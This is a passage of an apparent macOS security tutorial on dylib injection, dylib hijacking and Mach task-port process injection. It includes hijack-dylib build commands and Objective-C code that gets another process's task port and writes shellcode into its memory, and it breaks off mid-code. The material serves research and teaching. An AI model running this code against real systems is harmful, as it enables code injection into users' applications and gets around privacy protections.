        <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">DYLD_INSERT_LIBRARIES</span><span class="o">=</span>example.dylib ./hello-signed
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
  <li>
    <p><strong>Set library validation requirement and test:</strong></p>
    <ul>
      <li>Enforcing library validation to ensure that all loaded libraries are signed with the same certificate as the main executable.</li>
    </ul>
  </li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>codesign <span class="nt">-f</span> <span class="nt">-s</span> <span class="s2">"Your Certificate Name"</span> <span class="nt">--options</span><span class="o">=</span>library hello-signed
<span class="nv">DYLD_INSERT_LIBRARIES</span><span class="o">=</span>example.dylib ./hello-signed
</code></pre></div></div>

<h3 id="setting-the-cs_restrict-flag">Setting the CS_RESTRICT Flag</h3>

<ol>
  <li>
    <p><strong>Setting the CS_RESTRICT flag on a binary:</strong></p>

    <ul>
      <li>Manually setting the CS_RESTRICT flag using the <code class="language-plaintext highlighter-rouge">codesign</code> command with the <code class="language-plaintext highlighter-rouge">--option=0x800</code> flag. This is not typical in standard practice but can be used to enforce stricter security measures.</li>
    </ul>
  </li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>codesign <span class="nt">-f</span> <span class="nt">-s</span> <span class="s2">"Your Certificate Name"</span> <span class="nt">--option</span><span class="o">=</span>0x800 hello-signed
</code></pre></div></div>

<ol>
  <li>
    <p><strong>Verifying the signature and the CS_RESTRICT flag:</strong></p>

    <ul>
      <li>After setting the flag, verify that it has been applied correctly using the <code class="language-plaintext highlighter-rouge">codesign -dv</code> command to display detailed information about the code signing status of the binary.</li>
    </ul>
  </li>
</ol>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>codesign <span class="nt">-dv</span> hello-signed
</code></pre></div></div>

<p>Setting the <code class="language-plaintext highlighter-rouge">CS_RESTRICT</code> flag enhances security by restricting how the binary can be modified or interacted with, particularly by dynamic libraries. As With <code class="language-plaintext highlighter-rouge">CS_RESTRICT</code> set, any attempt to inject dynamic libraries using mechanisms like <code class="language-plaintext highlighter-rouge">DYLD_INSERT_LIBRARIES</code> will fail unless they meet specific security criteria, usually involving matching signatures.</p>

<h1 id="dylib-hijacking">Dylib Hijacking</h1>

<p>Most important load commands &amp; functions from a dylib hijacking point of view are the following:</p>

<table>
  <thead>
    <tr>
      <th>Command</th>
      <th>Description</th>
      <th>Relevance in DYLIB Hijacking</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">LC_LOAD_DYLIB</code></td>
      <td>Specifies a path to a dynamically linked shared library. The library must be present for the binary to load and run successfully.</td>
      <td>Hijackers can place a malicious dylib at the specified path, allowing it to be loaded instead of the legitimate library.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">LC_LOAD_WEAK_DYLIB</code></td>
      <td>Similar to <code class="language-plaintext highlighter-rouge">LC_LOAD_DYLIB</code>, but allows the application to run even if the dylib is not present or fails to load.</td>
      <td>Allows more flexibility for attackers since the absence of the dylib does not prevent the application from running. This means a malicious dylib can be inserted without immediate detection.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">LC_REEXPORT_DYLIB</code></td>
      <td>Used to re-export symbols from another dylib, essentially forwarding all requests for symbols to another library.</td>
      <td>An attacker can use this command to make a malicious dylib appear as a proxy for a legitimate library, tricking the application into using it as if it were the original.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">LC_LOAD_UPWARD_DYLIB</code></td>
      <td>Specifies a dylib that should be loaded, but is typically used when two dylibs are interdependent (i.e., each relies on the other).</td>
      <td>Can be exploited in complex scenarios where multiple interdependent libraries are involved, allowing an attacker to insert a malicious component into a dependency chain.</td>
    </tr>
  </tbody>
</table>

<h2 id="dylib-hijacking-scenarios">Dylib Hijacking Scenarios</h2>

<h3 id="1-lc_load_dylib">1. <code class="language-plaintext highlighter-rouge">LC_LOAD_DYLIB</code></h3>

<p><strong>Scenario</strong>: An application uses a common library like <code class="language-plaintext highlighter-rouge">libpng.dylib</code> for image processing. The library is loaded via <code class="language-plaintext highlighter-rouge">LC_LOAD_DYLIB</code> with a path pointing to <code class="language-plaintext highlighter-rouge">/usr/local/lib/libpng.dylib</code>. An attacker gains write access to <code class="language-plaintext highlighter-rouge">/usr/local/lib/</code> and replaces <code class="language-plaintext highlighter-rouge">libpng.dylib</code> with a malicious version. When the application is launched, the dynamic linker loads the malicious dylib instead of the legitimate one, allowing the attacker to execute arbitrary code within the context of the application.</p>

<h3 id="2-lc_load_weak_dylib">2. <code class="language-plaintext highlighter-rouge">LC_LOAD_WEAK_DYLIB</code></h3>

<p><strong>Scenario</strong>: A video editing software includes optional support for a plugin via a weakly linked library <code class="language-plaintext highlighter-rouge">libplugin.dylib</code>, referenced by <code class="language-plaintext highlighter-rouge">LC_LOAD_WEAK_DYLIB</code>. The software functions normally without this plugin if it’s not found. An attacker can drop a malicious <code class="language-plaintext highlighter-rouge">libplugin.dylib</code> into an expected search path (exploiting the weak link nature). The next time the software tries to load this plugin, it will inadvertently load the attacker’s dylib, enabling the attacker to manipulate or control the software.</p>

<h3 id="3-lc_reexport_dylib">3. <code class="language-plaintext highlighter-rouge">LC_REEXPORT_DYLIB</code></h3>

<p><strong>Scenario</strong>: A system utility uses <code class="language-plaintext highlighter-rouge">LC_REEXPORT_DYLIB</code> to re-export <code class="language-plaintext highlighter-rouge">libssl.dylib</code>, allowing all symbols of <code class="language-plaintext highlighter-rouge">libssl.dylib</code> to be available to any module loaded by the utility. An attacker replaces the <code class="language-plaintext highlighter-rouge">libssl.dylib</code> with a malicious version on a system where the utility has permissions to write, or tricks the utility into loading the malicious version from a controlled path. The utility then inadvertently exports the symbols from the malicious library to other parts of the application, leading to widespread impact across the utility’s functionalities.</p>

<h3 id="4-lc_load_upward_dylib">4. <code class="language-plaintext highlighter-rouge">LC_LOAD_UPWARD_DYLIB</code></h3>

<p><strong>Scenario</strong>: An application uses two interdependent libraries, <code class="language-plaintext highlighter-rouge">libA.dylib</code> and <code class="language-plaintext highlighter-rouge">libB.dylib</code>, loaded via <code class="language-plaintext highlighter-rouge">LC_LOAD_UPWARD_DYLIB</code>. Both libraries depend on each other to function correctly. An attacker manages to replace <code class="language-plaintext highlighter-rouge">libA.dylib</code> with a malicious variant that still satisfies the dependency requirements of <code class="language-plaintext highlighter-rouge">libB.dylib</code>. When <code class="language-plaintext highlighter-rouge">libB.dylib</code> loads and calls functions from <code class="language-plaintext highlighter-rouge">libA.dylib</code>, it executes malicious code embedded by the attacker, potentially compromising data processed by <code class="language-plaintext highlighter-rouge">libB.dylib</code>.</p>

<h3 id="5-dlopen">5. <code class="language-plaintext highlighter-rouge">dlopen</code></h3>

<p><strong>Scenario</strong>: A network monitoring tool dynamically loads custom extensions based on user configuration. The tool uses <code class="language-plaintext highlighter-rouge">dlopen</code> to load <code class="language-plaintext highlighter-rouge">user_extension.dylib</code> specified in a user-editable configuration file without verifying the path or authenticity of the file. An attacker modifies the configuration file to point <code class="language-plaintext highlighter-rouge">dlopen</code> to a malicious dylib located on a network share or a local path controlled by the attacker. When the tool executes and calls <code class="language-plaintext highlighter-rouge">dlopen</code>, it loads the malicious dylib, granting the attacker control over the network monitoring tool’s operations and data.</p>
<h2 id="test-apps-for-dylib-hijacking">Test Apps for Dylib Hijacking</h2>
<ul>
  <li>Variables and it’s paths</li>
</ul>

<table>
  <thead>
    <tr>
      <th>Variable</th>
      <th>Description</th>
      <th>Example Usage</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">@executable_path</code></td>
      <td>Replaced with the path to the directory containing the main executable. Useful for loading dylibs/frameworks within the application bundle.</td>
      <td><strong>Path of Main Executable</strong>: <code class="language-plaintext highlighter-rouge">/some/path/My.app/Contents/MacOS/My</code><br /><strong>Path to Framework</strong>: <code class="language-plaintext highlighter-rouge">/some/path/My.app/Contents/Frameworks/Foo.framework/Versions/A/Foo</code><br /><strong>Load Command</strong>: <code class="language-plaintext highlighter-rouge">@executable_path/../Frameworks/Foo.framework/Versions/A/Foo</code><br />This setup allows the application directory to be relocated without breaking the path dependencies.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">@loader_path</code></td>
      <td>Replaced with the path to the directory containing the binary that includes the load command. Useful for plugins or modules with unknown final filesystem locations.</td>
      <td><strong>Path of Plugin Executable</strong>: <code class="language-plaintext highlighter-rouge">/some/path/Myfilter.plugin/Contents/MacOS/Myfilter</code><br /><strong>Path to Framework</strong>: <code class="language-plaintext highlighter-rouge">/some/path/Myfilter.plugin/Contents/Frameworks/Foo.framework/Versions/A/Foo</code><br /><strong>Load Command</strong>: <code class="language-plaintext highlighter-rouge">@loader_path/../Frameworks/Foo.framework/Versions/A/Foo</code><br />This allows the plugin directory to be movable without affecting the dynamic linking of embedded frameworks.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">@rpath</code></td>
      <td>A runtime search path used by the linker to locate dylibs. Multiple <code class="language-plaintext highlighter-rouge">@rpath</code> entries can be specified. These are usually set at compile time and can be overridden at runtime.</td>
      <td><strong>Application Example</strong>: <code class="language-plaintext highlighter-rouge">/some/path/MyApp.app/Contents/MacOS/MyApp</code><br /><strong>Library Example</strong>: <code class="language-plaintext highlighter-rouge">/some/other/path/libMyLib.dylib</code><br /><strong>Load Command in MyApp</strong>: <code class="language-plaintext highlighter-rouge">@rpath/libMyLib.dylib</code><br /><strong>Possible RPATH Entries</strong>: <br />1. <code class="language-plaintext highlighter-rouge">@executable_path/../Frameworks</code><br />2. <code class="language-plaintext highlighter-rouge">/usr/local/lib</code><br />This allows flexible library referencing that adapts based on runtime conditions or application deployment configurations.</td>
    </tr>
  </tbody>
</table>

<h3 id="lc_load_weak_dylib">LC_LOAD_WEAK_DYLIB</h3>

<ul>
  <li>Test using <code class="language-plaintext highlighter-rouge">LC_LOAD_WEAK_DYLIB</code></li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1- First check the app/binary security and if it's exploitable
You can check when the app is vulnerable from my previous analysis from here: https://zeyadazima.com/macos/CVE_2023_26818_P1/#the-analysis
codesign -dv --entitlements :- /path/to/app

2- Secondly grep `LC_LOAD_WEAK_DYLIB` from load commands using `otool`
otool -l /path/to/app | grep LC_LOAD_WEAK_DYLIB -A 5

3- Check the dylib path and if it's exist or no
ls -l path_from_LC_LOAD_WEAK_DYLIB
</code></pre></div></div>

<h3 id="rpath-based-dylib-hijacking">Rpath-based dylib hijacking</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1- Grep the paths where is used for loading
otool -l /path/to/app | grep LC_RPATH -A 2

2- Grep the path where @rpath is used, Also check the library version
otool -l /path/to/app | grep @rpath -A 3

3- Check the library path and if t's exist
ls -l /path/to/app{@rpath}/lib.dylib
</code></pre></div></div>

<h3 id="dlopen-dylib-hijacking">dlopen dylib hijacking</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>the search path will default to the following (as noted at DYLD_FALLBACK_LIBRARY_PATH):

$HOME/lib
/usr/local/lib
/usr/lib
current directory

Monitor file system events to check the files
sudo fs_usage

Then look for dylibs that been requested and repeated in the search paths.
</code></pre></div></div>

<h2 id="exploit-dylib-hijacking">Exploit Dylib Hijacking</h2>

<ul>
  <li>A <code class="language-plaintext highlighter-rouge">dylib</code> test code:</li>
</ul>

<pre><code class="language-Objc">#import &lt;Foundation/Foundation.h&gt;

__attribute__((constructor))
void custom(int argc, const char **argv)
{
  NSLog(@"Dylib hijack successful in %s",argv[0]);
}
</code></pre>

<ul>
  <li>Exploitation steps</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>After identifying which dylib is vulnerable, Compile the test code
gcc -dynamiclib -current_version {version} -compatibility_version {version} -framework Foundation test.m -Wl,-reexport_library,"Hijacked dylib path" -o hijack.dylib

Check the reexport path
otool -l hijack.dylib| grep REEXPORT -A 2

Finally, set the full path to the library and copy it to the hijacking path
install_name_tool -change @rpath/lib.dylib "Library path" hijack.dylib
</code></pre></div></div>

<h1 id="mach-ipc--injection">Mach IPC &amp; Injection</h1>

<h2 id="fundamentals-of-ipc-via-bootstrap-server">Fundamentals of IPC via Bootstrap Server</h2>

<p><img width="691" height="436" alt="image" src="https://github.com/user-attachments/assets/c85b392b-b96f-431c-a7d2-cc7b9c49dcf4" /></p>

<ol>
  <li><strong>Task A Creation Steps</strong>:
    <ul>
      <li><strong>Create Port with RECEIVE Right</strong>: Task A starts by creating a new communication port for which it holds the RECEIVE right. This right allows Task A to receive messages sent to this port.</li>
      <li><strong>Create SEND Right</strong>: Task A then creates a SEND right for the same port, which will be used to allow other tasks to send messages to this port.</li>
    </ul>
  </li>
  <li><strong>Bootstrap Server Registration</strong>:
    <ul>
      <li><strong>Register SEND Right</strong>: Task A registers the SEND right with the bootstrap server under a specific service name. This is a crucial step as it associates the SEND right with a recognizable service name that other tasks can refer to.</li>
    </ul>
  </li>
  <li><strong>Task B Lookup and Communication</strong>:
    <ul>
      <li><strong>Lookup Service Name</strong>: Task B queries the bootstrap server to find the service name. If found, the server provides Task B with a copy of the SEND right.</li>
      <li><strong>Send Message Using SEND Right</strong>: Now equipped with the SEND right, Task B constructs a message and sends it to Task A using the SEND right.</li>
    </ul>
  </li>
</ol>

<h2 id="secured-communication-model-with-launchd-as-bootstrap-server">Secured Communication Model with Launchd as Bootstrap Server</h2>

<p><img width="691" height="404" alt="image" src="https://github.com/user-attachments/assets/c5033afb-6a45-4fb4-9f4c-0f3ae25716ca" /></p>

<p>Apple stores system-provided service names in configuration files that also contain the associated binary for each service. These files are located at <code class="language-plaintext highlighter-rouge">/System/Library/LaunchDaemons</code> and <code class="language-plaintext highlighter-rouge">/System/Library/LaunchAgents</code>, <code class="language-plaintext highlighter-rouge">SIP</code> protected locations which are considered secure.</p>

<ol>
  <li><strong>Task B Service Lookup</strong>:
    <ul>
      <li><strong>Lookup Service Name</strong>: Task B initiates the communication by requesting a service name from <code class="language-plaintext highlighter-rouge">launchd</code>. This is the first step in establishing a communication link.</li>
    </ul>
  </li>
  <li><strong>launchd Service Management</strong>:
    <ul>
      <li><strong>Check If Service Is Running</strong>: <code class="language-plaintext highlighter-rouge">launchd</code> checks whether the requested service (Task A) is already running. If not, it starts Task A.</li>
      <li><strong>Start Task A</strong>: If the service is not already running, <code class="language-plaintext highlighter-rouge">launchd</code> initiates Task A.</li>
    </ul>
  </li>
  <li><strong>Task A Registration and Rights Management</strong>:
    <ul>
      <li><strong>Bootstrap Check-in</strong>: Once started, Task A performs a bootstrap check-in with <code class="language-plaintext highlighter-rouge">launchd</code>. During this process, <code class="language-plaintext highlighter-rouge">launchd</code> assigns the RECEIVE right to Task A and retains a SEND right for itself.</li>
      <li><strong>Create SEND Right and Transfer RECEIVE Right</strong>: <code class="language-plaintext highlighter-rouge">launchd</code> ensures that it keeps a SEND right (to control future access) and transfers the RECEIVE right to Task A.</li>
    </ul>
  </li>
  <li><strong>Service Access by Task B</strong>:
    <ul>
      <li><strong>Send Copy of SEND Right to Task B</strong>: Finally, <code class="language-plaintext highlighter-rouge">launchd</code> creates a copy of the SEND right and sends it to Task B. This step allows Task B to communicate securely with Task A using the established protocol.</li>
    </ul>
  </li>
</ol>

<h2 id="mach-special-ports">Mach Special Ports</h2>

<table>
  <thead>
    <tr>
      <th>Port</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">HOST_PORT</code></td>
      <td>Allows retrieval of system information. With a SEND right to this port, functions like <code class="language-plaintext highlighter-rouge">host_processor_info</code> can be executed to gather data about the system’s processors.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">HOST_PRIV_PORT</code></td>
      <td>A privileged version of the <code class="language-plaintext highlighter-rouge">HOST_PORT</code>. Possessing a SEND right here enables performing privileged actions such as <code class="language-plaintext highlighter-rouge">kext_request</code>, used for loading or unloading kernel extensions. Access to this port typically requires root privileges and specific entitlements like <code class="language-plaintext highlighter-rouge">com.apple.private.kext*</code>, reflecting its high-security implications.</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">Task Port</code></td>
      <td>Known as the task’s kernel port, it controls access to a specific task. Having a SEND right to a task’s port enables full control over the task, including the ability to read and write its virtual memory, and manage its threads. This port provides significant power over the task, regardless of the user’s privilege level, making its access highly restricted.</td>
    </tr>
  </tbody>
</table>

<ul>
  <li>since <code class="language-plaintext highlighter-rouge">macOS</code> 10.11, AppleMobileFileIntegrity (<code class="language-plaintext highlighter-rouge">AMFI</code>) plays a key role in access control. <code class="language-plaintext highlighter-rouge">macos_task_policy</code> have the following rules:</li>
</ul>

<table>
  <thead>
    <tr>
      <th>Rule</th>
      <th>Description and Implications</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>com.apple.security.get-task-allow</strong></td>
      <td>This entitlement allows any process operating at the same user level as the application to access its task port. Commonly used in debug builds for attaching debuggers, this entitlement is risky for distributed applications as it exposes significant control over the application’s execution. Applications with this entitlement are likely to be rejected during Apple’s notarization process because it poses a high security risk.</td>
    </tr>
    <tr>
      <td><strong>com.apple.system-task-ports</strong></td>
      <td>Grants the ability to access the task ports of any process, except those of the kernel. This entitlement is typically reserved for Apple’s proprietary software and is indicative of the strict privileges maintained within Apple’s software ecosystem. Older references to this entitlement as <code class="language-plaintext highlighter-rouge">task_for_pid-allow</code> are outdated, and modern security mechanisms like <code class="language-plaintext highlighter-rouge">taskgated</code> and <code class="language-plaintext highlighter-rouge">AMFI</code> no longer check for this older term.</td>
    </tr>
    <tr>
      <td><strong>Root User Access on Non-Hardened Applications</strong></td>
      <td>If an application is not an Apple platform binary and lacks hardened runtime, root users can access its ports. Although root access has been curtailed significantly by security measures like SIP and TCC, which restrict root capabilities on critical system locations and sensitive user data, obtaining port access can still offer pathways to exploit these remaining privileges. This capability highlights the ongoing relevance of root access in circumventing newer security restrictions on macOS.</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p>While at first glance, exploiting application permissions to gain root might not seem to offer additional privileges, Apple’s ongoing enhancement of security measures makes this strategy increasingly valuable. Starting with System Integrity Protection (SIP), often referred to as “rootless,” Apple significantly restricted root access to essential system locations. This protection was further tightened with the introduction of Transparency, Consent, and Control (TCC) privacy measures, which restrict root access to sensitive user data areas like Documents and AddressBook. Therefore, by injecting code into an application that retains access to these protected areas, one can circumvent these restrictions and gain valuable access and insights, despite the limitations imposed on the root user.</p>
</blockquote>

<h2 id="injection-through-mach-ports">Injection through Mach Ports</h2>

<h3 id="get-identifier">Get Identifier</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get app "Identifier=" using codesign
codesign -dv /Path_to_app
</code></pre></div></div>

<h3 id="get-process-id">Get Process ID</h3>

<pre><code class="language-ObjC">#import &lt;Foundation/Foundation.h&gt;
#import &lt;AppKit/AppKit.h&gt;
#include &lt;mach/mach_vm.h&gt;
#include &lt;sys/sysctl.h&gt;

uid_t get_uid(pid_t pid)
{
    uid_t uid = 0;

    struct kinfo_proc process;
    size_t buffer_size = sizeof(process);
    
    // Compose search path for sysctl. Here you can specify PID directly.
    const u_int mib_len = 4;
    int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
    int sysctl_result = sysctl(mib, mib_len, &amp;process, &amp;buffer_size, NULL, 0);

    // If sysctl did not fail and process with PID available - take UID.
    if ((sysctl_result == 0) &amp;&amp; (buffer_size != 0)) {
        uid = process.kp_eproc.e_ucred.cr_uid;
    }
    return uid;
}

pid_t get_pid(NSString* bundle_id) {
    
    pid_t pid = 0;
    uid_t uid = -1;
    //find applications with bundle ID
    NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
    //check if any found at all
    if (runningApplications.count &gt; 1) {
        for (id app in runningApplications) {
            pid = [app processIdentifier];
            uid = get_uid(pid);
            if (uid != 0) {
                //if not root (=0) return
                NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
                return pid;
            }
        }
    }
    //if we got here, t means that we didn't find an instance
    printf("[-] There is no instance of the application running as user, exiting...\n");
    exit(-1);
}

int main(int argc, const char * argv[]) {
        
        NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
        pid_t pid = get_pid(bundleId);
        
        return (0);

}

</code></pre>

<ul>
  <li>Compile</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -framework Foundation -framework Appkit getPID.m -o getPID
</code></pre></div></div>

<h4 id="get_uidpid_t-pid"><code class="language-plaintext highlighter-rouge">get_uid(pid_t pid)</code></h4>

<ul>
  <li><strong>Purpose</strong>: This function fetches the UID associated with a given PID, which is useful to determine the user under which a process is running.</li>
  <li><strong>Implementation</strong>:
    <ul>
      <li>It initializes a <code class="language-plaintext highlighter-rouge">struct kinfo_proc</code> to store process information.</li>
      <li>It prepares an array <code class="language-plaintext highlighter-rouge">mib</code> with parameters that tell <code class="language-plaintext highlighter-rouge">sysctl</code> which information to retrieve, specifically the process info for a given PID.</li>
      <li>The <code class="language-plaintext highlighter-rouge">sysctl</code> function is called with these parameters to fill the <code class="language-plaintext highlighter-rouge">process</code> structure with the process information.</li>
      <li>If <code class="language-plaintext highlighter-rouge">sysctl</code> successfully retrieves the information (<code class="language-plaintext highlighter-rouge">buffer_size</code> is not zero), it extracts the UID from the <code class="language-plaintext highlighter-rouge">process</code> structure.</li>
    </ul>
  </li>
</ul>

<h4 id="get_pidnsstring-bundle_id"><code class="language-plaintext highlighter-rouge">get_pid(NSString* bundle_id)</code></h4>

<ul>
  <li><strong>Purpose</strong>: This function finds the PID of an application running with a specific bundle identifier. It ensures that the application is running under a user account (non-root).</li>
  <li><strong>Implementation</strong>:
    <ul>
      <li>It calls <code class="language-plaintext highlighter-rouge">NSRunningApplication</code>’s class method <code class="language-plaintext highlighter-rouge">runningApplicationsWithBundleIdentifier:</code> which returns an array of <code class="language-plaintext highlighter-rouge">NSRunningApplication</code> instances representing each running application with the specified bundle identifier.</li>
      <li>It iterates over this array, retrieving the PID of each application instance using the <code class="language-plaintext highlighter-rouge">processIdentifier</code> method.</li>
      <li>For each PID, it calls <code class="language-plaintext highlighter-rouge">get_uid</code> to check if the process is running as root (UID 0). If the process is running as a non-root user, it returns the PID.</li>
    </ul>
  </li>
</ul>

<h4 id="mainint-argc-const-char--argv"><code class="language-plaintext highlighter-rouge">main(int argc, const char * argv[])</code></h4>

<ul>
  <li><strong>Purpose</strong>: This is the main entry point of the program. It sets up the environment and calls other functions to perform specific tasks.</li>
  <li><strong>Implementation</strong>:
    <ul>
      <li>It uses an autorelease pool to manage the memory of objects created during the execution of the program automatically.</li>
      <li>It defines the target application’s bundle identifier and calls <code class="language-plaintext highlighter-rouge">get_pid</code> to find the PID of this application.</li>
      <li>If a valid PID is found, it prints the PID; otherwise, it prints an error message.</li>
    </ul>
  </li>
</ul>

<h3 id="get-send-rights-task-port">Get SEND Rights (task port)</h3>

<pre><code class="language-ObjC">#import &lt;Foundation/Foundation.h&gt;
#import &lt;AppKit/AppKit.h&gt;
#include &lt;mach/mach_vm.h&gt;
#include &lt;sys/sysctl.h&gt;

uid_t get_uid(pid_t pid)
{
    uid_t uid = 0;

    struct kinfo_proc process;
    size_t buffer_size = sizeof(process);
    
    // Compose search path for sysctl. Here you can specify PID directly.
    const u_int mib_len = 4;
    int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
    int sysctl_result = sysctl(mib, mib_len, &amp;process, &amp;buffer_size, NULL, 0);

    // If sysctl did not fail and process with PID available - take UID.
    if ((sysctl_result == 0) &amp;&amp; (buffer_size != 0)) {
        uid = process.kp_eproc.e_ucred.cr_uid;
    }
    return uid;
}

pid_t get_pid(NSString* bundle_id) {
    
    pid_t pid = 0;
    uid_t uid = -1;
    //find applications with bundle ID
    NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
    //check if any found at all
    if (runningApplications.count &gt; 1) {
        for (id app in runningApplications) {
            pid = [app processIdentifier];
            uid = get_uid(pid);
            if (uid != 0) {
                //if not root (=0) return
                NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
                return pid;
            }
        }
    }
    //if we got here, t means that we didn't find an instance
    printf("[-] There is no instance of the application running as user, exiting...\n");
    exit(-1);
}

int main(int argc, const char * argv[]) {
        
        NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
        pid_t pid = get_pid(bundleId);
        
        task_t remoteTask;
        kern_return_t kr = task_for_pid(mach_task_self(), pid, &amp;remoteTask);
              
        if (kr != KERN_SUCCESS) {
              printf("[-] Failed to get task port for pid:%d, error: %s\n", pid, mach_error_string(kr));
              return(-1);
            }
        else {
            NSLog(@"[+] Got access to the task port of %d: %u\n", pid, remoteTask);
        }
        return (0);

}
</code></pre>

<ul>
  <li>Compile</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -framework Foundation -framework Appkit getTaskPort.m -o getTaskPort
</code></pre></div></div>

<ul>
  <li><strong>Fetching the PID and Task Port</strong>:
    <ul>
      <li><strong>Fetching Application Instance</strong>: The application instance is obtained using <code class="language-plaintext highlighter-rouge">NSRunningApplication</code>’s <code class="language-plaintext highlighter-rouge">runningApplicationsWithBundleIdentifier:</code> method, which returns an array of applications matching the given bundle identifier.</li>
      <li><strong>PID Extraction</strong>: The process identifier (PID) is extracted from the first application instance that matches the provided bundle identifier.</li>
      <li><strong>Task Port Retrieval</strong>: The <code class="language-plaintext highlighter-rouge">task_for_pid</code> function is used to get the Mach task port for the process identified by the PID. This function requires the caller to have appropriate privileges, typically necessitating elevated rights.</li>
    </ul>
  </li>
</ul>

<h4 id="task_for_pidmach_task_self-pid-remotetask"><code class="language-plaintext highlighter-rouge">task_for_pid(mach_task_self(), pid, &amp;remoteTask)</code></h4>
<ul>
  <li><strong>Purpose</strong>: This Mach API function is used to obtain the task port of another process, which is essential for performing various system-level operations on that process.</li>
  <li><strong>Parameters</strong>:
    <ul>
      <li><strong>mach_task_self()</strong>: Represents the task port of the current process, used here for permission context.</li>
      <li><strong>pid</strong>: The PID of the target process.</li>
      <li><strong>&amp;remoteTask</strong>: A pointer to a <code class="language-plaintext highlighter-rouge">task_t</code> variable where the task port of the target process will be stored upon successful execution.</li>
    </ul>
  </li>
  <li><strong>Output</strong>: Returns a <code class="language-plaintext highlighter-rouge">kern_return_t</code> value that indicates the success or failure of the operation. If successful, <code class="language-plaintext highlighter-rouge">remoteTask</code> will contain the task port.</li>
</ul>

<h3 id="allocate--write-to-process-memory">Allocate &amp; Write to Process Memory</h3>

<pre><code class="language-ObjC">#import &lt;Foundation/Foundation.h&gt;
#import &lt;AppKit/AppKit.h&gt;
#include &lt;mach/mach_vm.h&gt;
#include &lt;sys/sysctl.h&gt;

#define STACK_SIZE 0x1000
#define CODE_SIZE 128

char shellcode[] = "Your Shellcode";


uid_t get_uid(pid_t pid)
{
    uid_t uid = 0;

    struct kinfo_proc process;
    size_t buffer_size = sizeof(process);
    
    // Compose search path for sysctl. Here you can specify PID directly.
    const u_int mib_len = 4;
    int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
    int sysctl_result = sysctl(mib, mib_len, &amp;process, &amp;buffer_size, NULL, 0);

    // If sysctl did not fail and process with PID available - take UID.
    if ((sysctl_result == 0) &amp;&amp; (buffer_size != 0)) {
        uid = process.kp_eproc.e_ucred.cr_uid;
    }
    return uid;
}

pid_t get_pid(NSString* bundle_id) {
    
    pid_t pid = 0;
    uid_t uid = -1;
    //find applications with bundle ID
    NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
    //check if any found at all
    if (runningApplications.count &gt; 1) {
        for (id app in runningApplications) {
            pid = [app processIdentifier];
            uid = get_uid(pid);
            if (uid != 0) {
                //if not root (=0) return
                NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
                return pid;
            }
        }
    }
    //if we got here, t means that we didn't find an instance
    printf("[-] There is no instance of the application running as user, exiting...\n");
    exit(-1);
}

int main(int argc, const char * argv[]) {
        
        NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
        pid_t pid = get_pid(bundleId);
        
        task_t remoteTask;
        kern_return_t kr = task_for_pid(mach_task_self(), pid, &amp;remoteTask);
              
        if (kr != KERN_SUCCESS) {
              printf("[-] Failed to get task port for pid:%d, error: %s\n", pid, mach_error_string(kr));
              return(-1);
            }
        else {
            NSLog(@"[+] Got access to the task port of %d: %u\n", pid, remoteTask);
        }

        mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
        mach_vm_address_t remoteCode64 = (vm_address_t) NULL;

        kr = mach_vm_allocate(remoteTask, &amp;remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate stack memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteStack: 0x%llx\n", remoteStack64);
        }

        kr = mach_vm_allocate( remoteTask, &amp;remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate code memory in remote thread, error: %s\n", mach_error_string(kr));
            exit(-1);
        } else {
            NSLog(@"[+] Allocated RemoteCode placeholder: 0x%llx\n", remoteCode64);
        }
        
        kr = mach_vm_write(remoteTask, remoteCode64, (vm_address_t) shellcode, CODE_SIZE);

